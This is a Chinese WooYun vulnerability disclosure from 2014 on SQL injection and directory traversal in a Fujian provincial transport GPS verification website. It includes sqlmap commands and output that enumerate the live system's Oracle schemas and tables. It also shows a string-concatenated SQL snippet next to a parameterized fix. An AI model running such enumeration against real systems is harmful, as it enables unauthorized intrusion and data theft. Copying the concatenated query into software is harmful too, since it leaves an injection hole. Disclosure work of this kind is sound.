当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-071733

漏洞标题:福建省交通厅公共GPS查验网SQL注入高危漏洞

相关厂商:福建省交通厅

漏洞作者: cf_hb

提交时间:2014-08-09 23:03

修复时间:2014-09-23 23:04

公开时间:2014-09-23 23:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-09: 细节已通知厂商并且等待厂商处理中
2014-08-14: 厂商已经确认,细节仅向厂商公开
2014-08-24: 细节向核心白帽子及相关领域专家公开
2014-09-03: 细节向普通白帽子公开
2014-09-13: 细节向实习白帽子公开
2014-09-23: 细节向公众公开

简要描述:

该GPS公共查验网存在目录遍历漏洞,可以直接查看和下载一些敏感目录和疑似源码的文件。测试后发现存在严重的SQL注入漏洞,仅列出部分库表和数据以证实问题确实存在。望尽快通知相关部门修复!

详细说明:

无意中发现到该GPS公共查验网存在有叫做目录遍历的漏洞吧,
我直接看到了后台一些敏感目录和文件。还可以下载文件,我从下载的疑似站点源码的jar包和其他文件。通过反编译看源码,发现没有对sql注入进行过滤。然后再百度一下,找到了一些公共查询的页面,然后测试注入了一下,发现了存在SQL注入漏洞。

漏洞证明:

敏感目录:

1.jpg


4.jpg


3.jpg


百度一下:

8.jpg


抓包

2.jpg


7.jpg


开始注入:
列出数据库:
sqlmap -r '/root/Desktop/sqlmaptxt/218.txt' --dbs
back-end DBMS: Oracle
[17:46:11] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[17:46:11] [INFO] fetching database (schema) names
[17:46:12] [INFO] the SQL query used returns 19 entries
[17:46:12] [INFO] retrieved: CTXSYS
[17:46:13] [INFO] retrieved: DBSNMP
[17:46:14] [INFO] retrieved: DMSYS
[17:46:15] [INFO] retrieved: EXFSYS
[17:46:15] [INFO] retrieved: FZGPS
[17:46:16] [INFO] retrieved: FZGPS_T
[17:46:17] [INFO] retrieved: GPS
[17:46:17] [INFO] retrieved: MDSYS
[17:46:18] [INFO] retrieved: OLAPSYS
[17:46:19] [INFO] retrieved: ORDSYS
[17:46:19] [INFO] retrieved: OUTLN
[17:46:20] [INFO] retrieved: SCOTT
[17:46:22] [INFO] retrieved: SYS
[17:46:23] [INFO] retrieved: SYSMAN
[17:46:26] [INFO] retrieved: SYSTEM
[17:46:28] [INFO] retrieved: TESTGPS
[17:46:29] [INFO] retrieved: TSMSYS
[17:46:29] [INFO] retrieved: WMSYS
[17:46:30] [INFO] retrieved: XDB
available databases [19]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] FZGPS
[*] FZGPS_T
[*] GPS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TESTGPS
[*] TSMSYS
[*] WMSYS
[*] XDB
查看GPS库:
sqlmap -r '/root/Desktop/sqlmaptxt/218.txt' -D GPS --tables
[17:53:41] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[17:53:41] [INFO] fetching tables for database: 'GPS'
[17:53:46] [INFO] the SQL query used returns 416 entries
[17:53:48] [INFO] retrieved: VEHICLE_INFO
[17:53:49] [INFO] retrieved: VEHICLE_COMPANY
[17:53:50] [INFO] retrieved: VEHICLE_TYPE
[17:53:51] [INFO] retrieved: AA_TEST
[17:53:54] [INFO] retrieved: ACTION_TYPE
[17:53:55] [INFO] retrieved: ALARM_AREA
[17:53:56] [INFO] retrieved: ALARM_LINE
[17:53:57] [INFO] retrieved: ALARM_OPERATOR_LOG
[17:53:59] [INFO] retrieved: BOUNDL_DETAIL50
[17:54:01] [INFO] retrieved: BOUNDL_INFO50
[17:54:02] [INFO] retrieved: BOUNDP_DETAIL50
[17:54:03] [INFO] retrieved: BOUNDP_INFO50
[17:54:04] [INFO] retrieved: BOUND_JMD_10
[17:54:05] [INFO] retrieved: BOUND_JMD_10_FZ
[17:54:06] [INFO] retrieved: BOUND_JMD_10_NA
[17:54:09] [INFO] retrieved: BOUND_JMD_10_PT
^C
[17:54:09] [WARNING] user aborted during enumeration. sqlmap will display partial output
Database: GPS
[16 tables]
+--------------------+
| AA_TEST |
| ACTION_TYPE |
| ALARM_AREA |
| ALARM_LINE |
| ALARM_OPERATOR_LOG |
| BOUNDL_DETAIL50 |
| BOUNDL_INFO50 |
| BOUNDP_DETAIL50 |
| BOUNDP_INFO50 |
| BOUND_JMD_10 |
| BOUND_JMD_10_FZ |
| BOUND_JMD_10_NA |
| BOUND_JMD_10_PT |
| VEHICLE_COMPANY |
| VEHICLE_INFO |
| VEHICLE_TYPE |
+--------------------+
Ps: 网速不给力,库里面表也很多就不等它了!!!

修复方案:

引入我看到的一段代码:

5.jpg


6.jpg


根据我得到的疑似源码的文件,经过我跟踪发现程序中使用了的Java里可以防注入PreparedStatement 但是,遗憾的是程序中的用法完全没有体现它的防注入优势。程序中在PreparedStatement里直接拼sql的作法完全就和使用Statement没差别了(对于sql注入而言)。
网上找的一段代码:
stmt.executeUpdate("insert into tb_name (col1,col2,col2,col4) values ('"+var1+"','"+var2+"',"+var3+",'"+var4+"')");
perstmt = con.prepareStatement("insert into tb_name (col1,col2,col2,col4) values (?,?,?,?)");
perstmt.setString(1,var1);
perstmt.setString(2,var2);
perstmt.setString(3,var3);
perstmt.setString(4,var4);
perstmt.executeUpdate();
再看百度百科:
http://baike.baidu.com/view/890310.htm?fr=aladdin
修复方法就是过滤各种用户提交的参数

版权声明:转载请注明来源 cf_hb@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-08-14 09:20

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给福建分中心,由其后续协调网站管理单位处置。按多个漏洞评分,同时感谢白帽子对注入点的细致分析。

最新状态:

暂无